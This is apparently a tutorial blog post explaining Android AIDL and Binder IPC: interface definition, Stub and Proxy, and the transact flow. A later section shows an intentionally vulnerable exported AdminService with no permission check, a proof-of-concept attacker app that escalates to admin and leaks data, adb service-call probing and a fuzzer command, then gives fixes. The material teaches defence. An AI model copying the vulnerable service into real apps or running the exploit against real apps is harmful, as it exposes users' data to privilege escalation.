What problem AIDL solves?

Normally:

  • One app = one process
  • Another app = different process

๐Ÿ‘‰ These processes cannot directly call each other's methods

So Android provides: ๐Ÿ‘‰ Binder IPC (Inter-Process Communication)

And AIDL is just: ๐Ÿ‘‰ A way to define how two apps talk via Binder

AIDL = contract between client and service

It defines:

  • What methods can be called
  • What data can be passed

Step-by-step Working Flow

1. You define an AIDL interface

Example:

interface IMyService {
    int add(int a, int b);
}

๐Ÿ‘‰ This is like saying:

"Service will provide add() method"

2. Android generates code

From this AIDL file, Android generates:

  • Stub (Server-side)
  • Proxy (Client-side)

Think:

  • Stub โ†’ Receives calls
  • Proxy โ†’ Sends calls

3. Service side (Server)

You implement the Stub:

public class MyService extends Service {
    private final IMyService.Stub binder = new IMyService.Stub() {
        public int add(int a, int b) {
            return a + b;
        }
    };

// In this code Binder Object >> IMyService.Stub binder >> This is the bridge between processes
    public IBinder onBind(Intent intent) {
        return binder;
    }
}

๐Ÿ‘‰ This runs in Service process

None
IBinder Working Flow

4. Client binds to service

bindService(intent, connection, BIND_AUTO_CREATE);

5. Client gets IBinder

public void onServiceConnected(ComponentName name, IBinder service) {
    IMyService myService = IMyService.Stub.asInterface(service);
}

๐Ÿ‘‰ This is the MOST IMPORTANT line:

Stub.asInterface(service)

What happens:

  • If same process โ†’ returns actual object
  • If different process โ†’ returns Proxy

6. Client calls method

myService.add(2, 3);

But internally ๐Ÿ‘‡

๐Ÿ”ฅ Internal Flow (Real Magic)

Step-by-step behind the scenes:

1. Client calls:

Proxy.add(2, 3)

2. Proxy:

  • Packs data into Parcel
  • Calls transact() on IBinder
IBinder.transact()

3. Binder Driver (Kernel level)

  • Transfers data between processes

4. Stub receives call

  • onTransact() is triggered
  • Unpacks Parcel
  • Calls actual method

5. Real method executes

return a + b;

6. Result sent back

  • Packed again in Parcel
  • Sent to client via Binder

7. Client receives result

return 5;

Visual Flow

Client
  โ†“
Proxy (packs data)
  โ†“
IBinder.transact()
  โ†“
Binder Driver (Kernel)
  โ†“
Stub.onTransact()
  โ†“
Actual Service Method
  โ†“
Result โ†’ back same path

Key Components (Very Important)

1. IBinder

  • Core IPC interface
  • Has transact()

2. Stub

  • Server-side handler
  • Extends Binder
  • Implements AIDL methods

3. Proxy

  • Client-side
  • Calls transact()

4. Parcel

  • Data container
  • Used to send data across processes

One-line Understanding

๐Ÿ‘‰ AIDL = Proxy (client) โ†’ Binder โ†’ Stub (server)

How To Exploit It?

๐Ÿ”ฅ 1. Vulnerable AIDL Service (Target App)

AIDL Interface

interface IAdminService {
    void setAdmin(boolean isAdmin);
    String getSecretData();
}

Vulnerable Service Implementation

public class AdminService extends Service {
    private boolean isAdmin = false;
    private final IAdminService.Stub binder = new IAdminService.Stub() {
        @Override
        public void setAdmin(boolean value) {
            isAdmin = value;   // โŒ No permission check
        }
        @Override
        public String getSecretData() {
            if (isAdmin) {
                return "TOP_SECRET_DATA";
            }
            return "Access Denied";
        }
    };
    @Override
    public IBinder onBind(Intent intent) {
        return binder;
    }
}

AndroidManifest.xml (VULNERABLE ๐Ÿ”ฅ)

<service
    android:name=".AdminService"
    android:exported="true" />

โŒ Why this is Vulnerable

  • Service is exported = any app can access
  • No permission check
  • Sensitive method exposed

๐Ÿ‘‰ Any app can:

  1. Become admin
  2. Read secret data

๐Ÿ”ฅ 2. Exploit PoC App (Attacker App)

Step 1: Bind to Service

Intent intent = new Intent();
intent.setComponent(new ComponentName(
        "com.victim.app",
        "com.victim.app.AdminService"
));
bindService(intent, connection, Context.BIND_AUTO_CREATE);

Step 2: ServiceConnection

private IAdminService adminService;
private ServiceConnection connection = new ServiceConnection() {
    @Override
    public void onServiceConnected(ComponentName name, IBinder service) {
        adminService = IAdminService.Stub.asInterface(service);
        try {
            exploit();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    @Override
    public void onServiceDisconnected(ComponentName name) {}
};

Step 3: Exploitation Logic

private void exploit() throws Exception {
    // Step 1: Become admin
    adminService.setAdmin(true);
    // Step 2: Access secret data
    String secret = adminService.getSecretData();
    Log.d("EXPLOIT", "Leaked Data: " + secret);
}

๐Ÿ”ฅ What Happens Internally

Attacker App
   โ†“
Proxy (generated from AIDL)
   โ†“
IBinder.transact()
   โ†“
Victim App (Service)
   โ†“
Stub.onTransact()
   โ†“
setAdmin(true)  โ† privilege escalation
getSecretData() โ† data leak

๐Ÿ”ฅ 3. ADB-Based Exploitation

If you don't know interface:

adb shell service list

Then:

adb shell service call <service_name> <code> i32 1

๐Ÿ‘‰ Try different codes to:

  • Flip boolean
  • Extract data

๐Ÿ”ฅ 4. Fuzzing-Based Exploitation

Using your fuzzer:

python fuzzer.py <service_name>

๐Ÿ‘‰ It may discover:

  • Method code for setAdmin
  • Crash or logic flaws

๐Ÿ”ฅ 6. How to Fix

โœ… Add Permission

<service
    android:name=".AdminService"
    android:exported="true"
    android:permission="com.victim.SECURE_PERMISSION"/>

โœ… Validate Caller

int uid = Binder.getCallingUid();
if (uid != TRUSTED_UID) {
    return;
}

โœ… Implement exported="false"

android:exported="false"

AIDL is powerful, but if not secured properly, it can silently turn your app into an attack surface